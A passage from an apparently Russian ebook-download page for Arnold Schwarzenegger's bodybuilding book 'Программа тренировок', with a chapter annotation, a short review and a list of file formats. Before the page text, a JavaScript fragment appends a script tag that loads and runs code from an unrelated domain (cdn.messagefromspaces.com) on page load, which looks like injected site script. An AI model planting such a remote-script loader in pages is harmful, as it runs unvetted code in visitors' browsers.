, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Арнольд Шварценеггер «Программа тренировок»

Голосов: 232. Среднее: 4.12 из 5
Loading ... Loading ...

Аннотация на книгу

Итак, в продолжении начатого в книге «Введение в бодибилдинг», 2-я часть цикла «Новая энциклопедия бодибилдинга» – «Программа тренировок» и ее автор, кто бы это мог быть? Никто другой, кроме как Арнольд Шварценеггер, собственной персоной.

Эта часть наполнена полезной для культуристов информацией до предельного уровня – так, как наполнено мышцами тело ее автора. В 7 частях, на 78 страницах – кратко и по делу. Многолетний опыт Мистера Олимпия доступен любому желающему, программы, системы тренировок из этой книги позволят добиться максимальной эффективности, максимальных результатов.

Арнольд Шварценеггер поделится с читателем основными, фундаментальными принципами: серии, повторения, качество сокращений, наращивание силы, прогрессивная нагрузка, дыхание, растяжка, восстановление сил и отдых.

Во второй главе даст знания, необходимые для определения типа своего телосложения с тем, чтобы впоследствии учитывать это во время занятий, суметь подобрать наиболее подходящую для себя программу. Эктоморфы, эндоморфы и мезоморфы, метаболизм и развитие мускулатуры.

Основная программа тренировки: группы мышц, система раздельной тренировки, отдых и восстановление сил, программы упражнений для 1-го и 2-го уровней.

Принципы интенсивной тренировки, методики увеличения интенсивности, развитие качественного телосложения, максимальная нагрузка, проработка слабых участков.

В конце текущей книги, второй части «Новой энциклопедии бодибилдинга», автор даст ряд советов культуристам, что планируют заниматься этим спортом профессионально: подготовка для участия в соревнованиях.

Рецензия на книгу

Во второй части серии энциклопедических книг, автором которых является известный на весь мир культурист Арнольд Шварценеггер, описываются тренировочные программы, которые должны выполнять спортсмены, желающие достигнуть определенных результатов.
Конечно, опытные бодибилдеры обычно вносят свои коррективы в любую из таких программ, подстраивая их под свои физиологические особенности. Что же касается начинающих спортсменов, я бы посоветовал им скачать эту книгу и выполнять все упражнения именно в той последовательности и темпе, как это предлагает автор. Со временем Вы тоже сможете понять, где именно Вам нужно приложить больше усилий, а что можно, наоборот, упростить. Данная книга предлагает исключительно сбалансированные группы упражнений, тренирующих все виды мышц в нужной степени.

Независимо от того, как именно каждый культурист относится к автору пособия, но иметь в своей библиотеке книгу «Новая энциклопедия бодибилдинга. Книга 2. Программы тренировок» ему нужно обязательно. Изучая подобные издания, спортсмен формирует для себя необходимый базис, на основе которого в дальнейшем он с легкостью разработает собственные программы, методики и системы занятий для достижения наилучших результатов.

Формат файлов: fb2, ePub, txt, rtf, pdf, html, mobi (Kindle), java, lrf, rb, isilo3, lit, doc

Комментарии закрыты